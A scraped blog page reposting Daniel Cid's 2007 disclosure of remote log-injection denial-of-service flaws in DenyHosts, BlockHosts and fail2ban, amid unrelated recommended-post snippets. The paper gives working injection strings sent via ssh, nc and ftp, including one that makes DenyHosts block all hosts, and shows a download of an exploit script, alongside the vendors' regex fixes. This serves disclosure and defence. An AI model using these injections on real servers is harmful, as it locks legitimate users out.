Attacking Log Analysis Tools

CTF——MISC习题讲解(流量分析winshark系列) CTF——MISC习题讲解(流量分析winshark系列) 前言 上一章节我们已经做完一场比赛的杂项题目,这次给大家介绍一下不一样的,给大家来一期流量分析专题,在这个专题中,所有的题目链接都整理好了,就不给大家一一展示了,大家可以直接统一下载即可。 一、基础篇-----flag明文 首先打开文件发现以下界面 在这个界面直接ctrl+f,直接搜索flag关键字 然后直接查找就可以看到flag 二、基础篇----flag编码 1、bianma1 这个题直接查找flag的话是没有的,所以我们把flag直接编 阅读详情
原始出处: http://www.ossec.net/en
文章作者:Daniel B. Cid
1 - Introduction Log Analysis (i.e. LIDS - Log-Based Intrusion Detection) can be a very powerful tool to complement NIDS/HIDS and improve network security. I pointed out some of its benefits in the following articles: Log analysis for intrusion detection and Log analysis using OSSEC.

However, like any other technology, when not done properly, it can add new security vulnerabilities and end up causing more harm than good.

The purpose of this article is to point out some vulnerabilities that I found on open source log analysis tools aimed to stop brute force scans against SSH and ftp services. Since these tools also perform active response (automatically blocking the offending IP address), they would be good examples. However, any tool that parse logs can be equally vulnerable.

We will show three 0-day denial-of-service attacks caused by remote log injection on BlockHosts, DenyHosts and fail2ban.

*This paper talks about remote log injection, where an external attacker can modify a log, based on the input it provides to an application (in our case OpenSSH and vsftpd). By modifying the way the application logs, we are able to attack these log analysis tools. We are not talking about local log modification or "syslog injection".

**I am the author of OSSEC, an HIDS, that does, among other things, log analysis and active response. It is not vulnerable to these injections but for reasons of full disclosure, you may want to know it.

2 - Remote log injection We all know that we should never trust user input, specially when talking about web development, but we seemed to have forgotten about it when dealing with logs.

The rule should always be: ANY user input that goes into a log SHOULD NOT be trusted! Why do I say that? Let's look at some ssh logs to start.

When you miss a password, SSH logs the following (the second and third lines happen when you provide an invalid user name):

Jun 2 14:49:00 crazymom sshd[5862]: Failed password for root from 192.168.50.65 port 34780 ssh2
Jun 2 14:49:42 crazymom sshd[5866]: Invalid user invuser from 192.168.50.65
Jun 2 14:49:46 crazymom sshd[5866]: Failed password for invalid user invuser from 192.168.50.65 port 34786 ssh2

Note that the SSH logs have the user name and IP address related to the connection. BUT, the user name is provided by the USER! What if we provide the following username:

[dcid@enigma log]$ ssh "myfakeuser from 10.1.1.1 port 123 ssh2 "@192.168.5.1

What would the logs look like?

Jun 2 14:54:00 crazymom sshd[5870]: Invalid user myfakeuser from 10.1.1.1 port 123 ssh2 from 192.168.50.65
Jun 2 14:54:03 crazymom sshd[5870]: Failed password for invalid user myfakeuser from 10.1.1.1 port 123 ssh2 from 192.168.50.65 port 34813 ssh2


What about an FTP log? (we use vsftpd as an example, but it applies to every application) Take a look at the logs when we try to modify the user name:

root@slacker:~# ftp 192.168.3.4
220 Welcome to labs ossec candy FTP service.
Name (192.168.2.3:root): myuser
..

root@slacker:~# ftp 192.168.3.4
220 Welcome to labs ossec candy FTP service.
Name (192.168.2.3:root): lala] FAIL LOGIN: Client "2.3.4.54"
..

(looking at the logs)
Mon Jun 2 21:05:30 2007 [pid 1448] [ myuser] FAIL LOGIN: Client "192.168.3.1"
Mon Jun 2 21:06:02 2007 [pid 1452] [ lala] FAIL LOGIN: Client "2.3.4.54" ] FAIL LOGIN: Client "192.168.3.1"


We all know SQL injection, and the idea here is not different. We are just passing the user name in a way that would trick a log analysis tool, making it think that the source ip of the connection is not what it really is.

Other very interesting thing that we will use later in here, is regarding how SSH logs invalid protocols:

root@slacker:~# nc 192.168.3.4 22
SSH-1.99-OpenSSH_4.2
hi me
Protocol mismatch.

(looking at the logs):

Jun 2 21:27:37 slacker sshd[1457]: Bad protocol version identification ' hi me' from 192.168.3.1
Can you see the provided user string on that log? The question remaining is: How well your log analysis tool handle these injections?

3 - DenyHosts Remote DoS DenyHosts is a very popular "sshd monitoring" tool, with more than 6,000 users according to their web site. It monitors your ssh logs and dynamically blocks the source ip of a connection that produces too many authentication failures.

DenyHosts had some vulnerabilities in the past, when it was open to a very simple log injection technique (see above).

However, its latest version (2.6) is still vulnerable to log injection on a different case that can result on full sshd lockdown. So let's explore it.

If you try to netcat to a ssh server (as shown in the introduction ):

dcid@enigma:~/Desktop$ nc 10.1.1.18 22
SSH-1.99-OpenSSH_3.9p1
hi
Protocol mismatch.


How will the server log it?

Apr 25 13:17:50 crazymom sshd[4150]: Bad protocol version identification 'hi' from 10.1.1.4

Yes, every time you provide an invalid protocol to SSHD, it will log the user argument in the log. What if we try:

dcid@enigma:~/Desktop$ nc 10.1.1.18 22
SSH-1.99-OpenSSH_3.9p1
User root from 10.2.3.5 not allowed because none of user's groups are listed in AllowGroups
Protocol mismatch.


How will the server log it?

Apr 25 13:19:32 crazymom sshd[4153]: Bad protocol version identification ' User root from 10.2.3.5 not allowed because none of user's groups are listed in AllowGroups' from 10.1.1.4


Can you see our provided string (User root...) in the log? What if you have DenyHosts running and monitoring your ssh logs? What do you think it will do with it? (if I repeat it 5 times -- by default)

[root@crazymom DenyHosts]# tail -f /var/log/denyhosts
2007-04-25 13:20:59,068 - denyhosts : INFO new denied hosts: [' 10.2.3.5']

Yes, it added the supplied fake IP address to /etc/hosts.deny. So, the vulnerability is that DenyHosts is open to log injection, allowing any external user to insert whatever they want into hosts.deny.

Why DenyHosts (2.6) does that? If we look at the source code, it has a loose regex for one specific sshd error message (inside DenyHosts/regex.py):

FAILED_ENTRY_REGEX5 = re.compile(r"""User (?P.*) .*from (?P.*) not allowed because none of user's groups are listed in AllowGroups""")

It is basically looking for "User from .." anywhere in the log, not checking if it is in the middle of the "bad protocol version" log. How do we fix that? Just make the regex more robust (an "$" at the end would solve it)!

You may think it is not a big deal but what if instead of one IP address I pass all? -- all on hosts.deny means block every IP. Would it block the whole internet out of the box? Yes, it would!

dcid@enigma:~$ nc 192.168.5.1 22
SSH-1.99-OpenSSH_3.9p1
User root from all not allowed because none of user's groups are listed in AllowGroups
Protocol mismatch.

(the logs):
Apr 25 13:19:32 crazymom sshd[4153]: Bad protocol version identification ' User root from all not allowed because none of user's groups are listed in AllowGroups' from 10.1.1.14

root@crazymom DenyHosts]# tail -f /var/log/denyhosts

2007-04-25 13:35:28,954 - denyhosts : INFO new denied hosts: ['all']

[root@crazymom DenyHosts]# cat /etc/hosts.deny
#
# hosts.deny This file describes the names of the hosts which are
# *not* allowed to use the local INET services, as decided
# by the '/usr/sbin/tcpd' server.
#
sshd: all

You just blocked EVERYONE else out of this box. I have a simple "exploit" code that proves my point. Just execute it and pass the IP address of the box to test: denyhosts-exp.sh.

dcid@enigma:~$ wget http://www.ossec.net/denyhosts-exp.sh
dcid@enigma:~$ chmod +x denyhosts-exp.sh
dcid@enigma:~$ ./denyhosts-exp.sh
./denyhosts-exp.sh:
dcid@enigma:~$ ./denyhosts-exp.sh 10.1.1.8
1
SSH-1.99-OpenSSH_3.9p1
Protocol mismatch.
..
SSH-1.99-OpenSSH_3.9p1
Protocol mismatch.
20


dcid@enigma:~$ ssh 10.1.1.8
ssh_exchange_identification: Connection closed by remote host

at the server side:

root@mb DenyHosts]# cat /etc/hosts.deny
#
# hosts.deny This file describes the names of the hosts which are
# *not* allowed to use the local INET services, as decided
# by the '/usr/sbin/tcpd' server.
sshd: all


4 - Other vulnerable programs We used DenyHosts on our previous example, because it is one of the most famous tools out there, but it is not the only one vulnerable.

BlockHosts latest version (2.0.3) is also vulnerable to log injection via the vsftp and SSH logs. The reason is the same as DenyHosts: loose regular expressions.

root@slacker:~# ftp 192.168.3.4
220 Welcome to labs ossec candy FTP service.
Name (192.168.2.3:root): lala] FAIL LOGIN: Client "2.3.4.54"
..

(looking at the logs)
Mon Jun 2 21:06:02 2007 [pid 1452] [ lala] FAIL LOGIN: Client "2.3.4.54" ] FAIL LOGIN: Client "192.168.3.1"


If we pass a modified user name in order to inject an IP address, it will block the fake supplied IP address instead of the valid one.

root@slacker:~# cat /etc/hosts.deny
#---- BlockHosts Additions
ALL: 2.3.4.54 : deny
..
#---- BlockHosts Additions

With the SSH logs, the issue is the same as with DenyHosts. If we inject any data in the protocol identification field, BlockHosts will parse our fake ip addresses instead of the valid one (the exploit for DenyHosts will work with BlockHosts with just a slight change -- as a reader exercise).

dcid@enigma:~$ nc 192.168.5.1 22
SSH-1.99-OpenSSH_3.9p1
sshd[123]: User myself from 1.5.6.7 not allowed
Protocol mismatch.

(the logs):
Jun 4 14:49:46 slacker sshd[4153]: Bad protocol version identification ' sshd[123]: User myself from 1.5.6.7 not allowed ' from 10.1.1.14

root@slacker:~# cat /etc/hosts.deny
#---- BlockHosts Additions
ALL: 1.5.6.7 : deny
..
#---- BlockHosts Additions
*BlockHosts author, Avinash Chopde, has released a patch for it.


Fail2ban latest version 0.8 is vulnerable to the same injection via SSH logs that DenyHosts and BlockHosts are. It looks for "ROOT LOGIN REFUSED" anywhere in the logs and as previously shown, we can easily inject that using the bad protocol identification message from ssh.

dcid@enigma:~$ nc 192.168.5.1 22
SSH-1.99-OpenSSH_3.9p1
ROOT LOGIN REFUSED hi FROM 1.5.6.7
Protocol mismatch.

(the logs):
Jun 4 14:49:46 slacker sshd[4153]: Bad protocol version identification ' ROOT LOGIN REFUSED hi FROM 1.5.6.7 ' from 10.1.1.14


*Fail2ban author, Cyril Jaquier, has released a patch for it.

**This issue is similar to CVE-2006-6302, but using a different vector. Thanks to Cyril Jaquier for pointing it out to me.


5 - Patches Fail2ban author, Cyril Jaquier, replied and the following patch fixes the problem:

--- sshd.conf.orig 2007-06-05 22:00:24.000000000 +0200
+++ sshd.conf 2007-06-05 22:00:41.000000000 +0200
@@ -14,10 +14,10 @@
# (?:::f{4,6}:)?(?P/S+)
# Values: TEXT
#
-failregex = Authentication failure for .* from
- Failed [-//w]+ for .* from
- ROOT LOGIN REFUSED .* FROM
- [iI](?:llegal|nvalid) user .* from
+failregex = Authentication failure for .* from $
+ Failed [-//w]+ for .* from $
+ ROOT LOGIN REFUSED .* FROM $
+ [iI](?:llegal|nvalid) user .* from $

# Option: ignoreregex
# Notes.: regex to ignore. If this regex matches, the line is ignored.


BlockHosts author, Avinash Chopde, replied that by changing the SSHD/VSFTP regexes to the following, fixes the problem:

"SSHD-NotAllowed": r"""^.*(?!sshd)sshd/[(?P
/d+)/]: User .* from (::ffff:)?(?P/d{1,3}/./d{1,3}/./d{1,3}/./d{1,3}) not allowed because none of user's groups are listed in AllowGroups$""",

"VSFTPD-Fail": r"""/[pid /d+/] /[.*?/] FAIL LOGIN: Client "(?P/d{1,3}/./d{1,3}/./d{1,3}/./d{1,3})"$""",


We spoke with DenyHosts author, Phil Schwartz, but no official patch is available yet. However, by changing the FAILED_ENTRY_REGEX5 (at regex.py) to the following, fixes the problem:

FAILED_ENTRY_REGEX5 = re.compile(r"""User (?P.*) .*from (?P.*) not allowed because none of user's groups are listed in AllowGroups$""")

6 - Conclusion The goal of this document is to show some of the most common problems with log injections that we need to be aware when developing programs that parse log messages.

Please be aware that a few other tools also "block ssh scans", but some of them are so vulnerable that I didn't even bother mentioning. My advice is don't use tools that are shell-script based or have not been updated in a while. Not only they are vulnerable to remote DoS, but also to command execution via hosts.deny (yes, you can configure it to execute programs) and other means.

To conclude, if you ever write a custom script to parse your logs, be aware of those issues.

*I want to thank Cyril Jaquier from Fail2ban, Avinash Chopde from BlockHosts and Phil Schwartz from DenyHosts for the prompt reply and willingness to fix those issues. I also want to thank Liliane Cid for helping me writing and reviewing this document.

**If you have any comments or questions, please send them to dcid ( at ) ossec.net.
 
Unity 3D游戏开发实战:从模块化设计到性能优化的完整工作流 游戏开发的核心在于将复杂交互逻辑转化为可运行的软件系统,其原理通常围绕游戏循环(输入、更新、渲染)展开。通过模块化设计,开发者可以将玩家控制、实体逻辑、场景管理等职责分离,构建出高内聚、低耦合的代码架构,这极大地提升了项目的可维护性和扩展性。在技术实现上,数据驱动设计(如使用ScriptableObject)允许将游戏数值与逻辑解耦,使调整和平衡变得高效;而有限状态机则为实现敌人AI等复杂行为提供了清晰、可控的范式。这些工程实践的结合,不仅适用于小型项目,更是构建大型3D游戏世界的通用方法论。本文以C#与U 阅读详情

相关推荐

流量分析刷题记录(一)writeup

打开流量包后直接搜索flag,能搜到一个flag{0a19b0453da898f5a8f4a7b3dfb53d74}但这个flag是假的,在搜索flag的过程中会发现很多flag.rar压缩包,推测flag应该是藏在压缩包中,搜索Rar,搜索时选择区分大小写,可以直接找到压缩包内容。在一处流量的分组详情中发现z2的值好像是一张图片,将其导出为key.txt,然后用010editor导入16进制,删除前面多余的东西,另存为图片,得到压缩包密码:Th1s_1s_p4sswd_!,最后解压得到flag。

2301_79697181的博客 5087

被ssh暴力破解

怎么办? 以下是我做的设置,centos7.   sshd_config禁止root登录,禁止密码验证,只能秘钥验证,并且秘钥加密码 安装了denyhosts工具,加上fail2ban工具; 在sshd_config设置了两个端口:22和其他任意一个; firewall-cmd添加forward-port,将22端口的数据转到23端口,将22端口转发到攻击ip的22端口上; 这样做的好...

qq837468220的专栏 2500

Linux(16)ssh_exchange_identification: read: Connection reset by peer问题

Linux(16)ssh_exchange_identification: read: Connection reset by peer问题

我其实什么都不会 2776

ssh连接到linux失败

1、先ipconfig查看网卡是否开启 2、没开启查看配置文件 ,并且修改 3、ifdown ect0 关闭网卡 4、ifup ect0 开启网卡 5、ifconfig 查看网络ip 6、windows ping linux地址,如果没通则网卡仍然有问题 7、telint ping linux地址和端口 例如 telnet 192.168.83.129 22  成功则显示这样

u011229456的博客 1278

Linux快速修复笔记本Linux Quick Fix Notebook

从方便的QA格式解决Linux管理的几乎所有方面,从软件安装到安全性,用户管理到Internet服务,甚至高级主题,您都可以立即访问特定答案。

SSH密码暴力破解及防御实战.pdf

关于SSH密码暴力破解及防御实战,如有侵权请立即与我联系,我将及时处理,感谢。如有侵权请立即与我联系,我将及时处理,感谢。如有侵权请立即与我联系,我将及时处理,感谢。

Linux使用Fail2Ban

1.下载地址: http://www.fail2ban.org/wiki/index.php/Downloads 下载稳定版就可以了. 2. 解压文件 # tar -xzvf fail2ban-0.9.4.tar.gz 3. 进入目录并安装文件 # cd fail2ban-0.9.4 # python setup.py install 修改基本配置 # vim /etc/f

BrandoLv 825

单晶塑性abaqus-umat自学

单晶塑性abaqus-umat 摘要1. 简介2. 单晶弹塑性本构模型回顾2.1运动学 本文以翻译黄永刚老师的umat文章为主,这个颜色的为个人的理解。 摘要 包含单晶塑性的abaqus用户材料子程序。本文回顾有限元形式的单晶弹塑性和黏弹塑性,包含小变形理论,以及严格的有限变形和有限旋转理论。单晶的非弹性变形由于晶体滑移,假定遵从Schmid准则。提出多种多样的分切应力与剪切变形的自硬化和潜硬化关系,并且包含在子程序内。 1. 简介   有限元程序ABAQUS已经广泛应用在固体的变形与应力分析。除了自身大量

Niklas4088的博客 1万+

PHP in the user agent (attacking log analysis tools?)

Lately I started to see a few web-based attacks with a php script inside the user agent. Something like this: a.b.229.82 - - [19/Jan/2010:22:43:39 -0700] "GET /index.php?page=../../../../../../../..

cnbird's blog 766

opencv读取海康威视摄像头相关配置

1、开发环境 海康威视的网络摄像头使用: 开发工具:vs2015 C++ 海康SDK 2、相关操作 下载海康威视SDK:网址:http://www.hikvision.com/cn/download_61.html • 1:对照自己的开发平台可以下载设备网络SDK_Win32设备网络SDK_Win64,解压到本地文件下: • 2:VS配置 、Opencv配置。参考址 http://blog.youkuaiyun.com/poem_qianmo/article/details/19809337 (建议自己创

HMJ115的博客 986

Smali语言基础语法

定义、声明、调用 Smali数据类型 定义:与Java相同,Smali中也有一套数据类型体系,且该体系实质上是同Java一一对照的。 示例1:Smali——Java数据类型对照表 PS:如上图所示,Smali语言中的数据类型的关键词基本上为Java中同名数据类型的首字母大写,需要着重记忆的例外为:1.long类型的关键词为大写J;2.boolean类型的关键词为大写Z;3.数组的关键词为左半边中括号[;4.object类型(各种类)的关键词为大写L加上该类的全类名路径,路径中的层级用/分割。

aketoshknight的博客 1万+

navicat远程连接MySQL,报错2007 - Protocol mismatch; server version =11,client version=10

Protocol mismatch; server version =11,client version=10需要开放ssh的22端口号

开发者 1万+

使用ITK-SNAP软件进行医学图像的标注(label标签设置、调整等)(windows版本,如mac和linux操作则略有不同)

使用ITK-SNAP软件进行医学图像的标注工作:如肿瘤、炎症、出血、梗死等的多类 目标轮廓勾画等。

qianshuqinghan的博客 2万+

mysql 8 php 7连接失败 解决办法

环境信息:win10 mysql 8.0.17 php 7 连接mysql 8 时提示未能授权连接,错误如图所示: Warning: mysqli::__construct(): (HY000/1045): Access denied for user ‘root’@‘localhost’ (using password: YES) in C:\DISK\apache\Apache24\htdoc...

viviyouyou12的博客 4260

SAP Group Reporting入门指南(1)--开篇及系统环境搭建

文章介绍了SAP GR的发展历程、与BPC的对比优势,数据收集的多种方式(实时同步、外部导入等)以及合并整体流程,并推出《SAP Group Reporting入门指南》专栏。

bflyfish的博客 284

博途PLC PID仿真LSim_PT1库算法(一阶系统差分方程推导全过程)

博途PLC的PID仿真可以参看下面这篇博客,这篇文章我们主要论坛仿真库LSim的算法由来。如何利用博途PLC PID_Compact 进行PID仿真(一阶系统)_RXXW_Dor的博客-优快云博客博途PLC PID控制器 PID_Compact FB如何使用可以参看下面这篇文章,这里不再赘述。

RXXW_Dor的博客 2859

linux环境下ban文件怎么用,Linux使用Fail2Ban

1.下载地址:http://www.fail2ban.org/wiki/index.php/Downloads下载稳定版就可以了.2. 解压文件#tar -xzvf fail2ban-0.9.4.tar.gz3. 进入目录并安装文件#cd fail2ban-0.9.4#python setup.py install修改基本配置#vim /etc/fail2ban/jail.confban...

weixin_42506706的博客 632

14、PostgreSQL日志文件、系统统计与查询优化全解析

本文全面解析了PostgreSQL数据库中的系统统计、日志文件配置与查询优化技巧。详细介绍了如何利用pg_stat_statements模块进行性能监控,配置日志记录以发现潜在问题,并深入探讨了查询优化器的工作原理和优化策略。通过实际案例分析,展示了如何综合应用这些技术提升数据库性能。适合希望提升PostgreSQL性能与稳定性的数据库管理员和开发人员阅读。

efc123456的博客 94

ssh 连接服务器出现 remote host identification hans changed

因为各种需要,今天重装了自己的服务器,再用ssh进行连接的时候就出现 remote host identification has changed (远程主机身份信息已经改变) 这是为什么呢?原来每次进行ssh连接的时候都会验证对方的公钥,为了安全,只要服务端的公钥发生改变,客户端就取消身份验证并断开连接。正好重装系统会重新生成ssh秘钥,导致客户端无法连接服务端。 ...

huang_cheng_zhi的博客 440

【FPGA教程案例96】控制案例1——基于FPGA的自适应PID控制器verilog实现

首先,我们复习下课程传统的PID控制器,往往存在调整速度较慢,超调过大等缺点。为了解决这个问题,在实际的PID应用中,需要实时的调整PID的控制参数,以达到加快PID控制速度,降低超调等目标。目前,自适应PID控制器,一般有误差反馈调整,模糊控制器调整,神经网络调整。其中模糊控制器调整,神经网络调整较为复杂,在入门案例中不做介绍,在本课程中,我们将实现相对略微简单点的基于误差反馈调整的自适应PID控制器。

FPGA/MATLAB学习教程/源码/项目合作开发 6205

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

关于ssh登录出现异常警告:WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!

关于ssh登录出现异常警告:WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!

w36680130的博客 251

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

linux下ssh显示usage的错误,关于ssh的问题

关于ssh的问题发布时间:2010-01-11 11:01:01来源:红联作者:wuhua0904系统是CentOS5.3装了ssh服务,却连接不上,请高手指导呀1)可以ping通[mrh@nfs-server ~]$ ping ascendtech.3322.orgPING ascendtech.3322.org (218.108.223.113) 56(84) bytes of data.64...

weixin_42485891的博客 1576

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

linux 修改密码失败

ssh无法登录 secure日志:User root from 172.16.0.1 not allowed because none of user's groups are listed in AllowGroups。查看登录类日志,我们首先要看的日志为/var/log/secure或audit,然后辅助message日志一并分析。然后就到/etc/ssh/sshd_config文件找是否有这个参数配置,果然在的,就给注释了。passwd 用户名 成功 但是crt连接不上。

m0_67085438的博客 624
上一篇: Securing Communications with SSL/TLS: A High-Level Overview
下一篇: 修改PEB结构绕防火墙
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值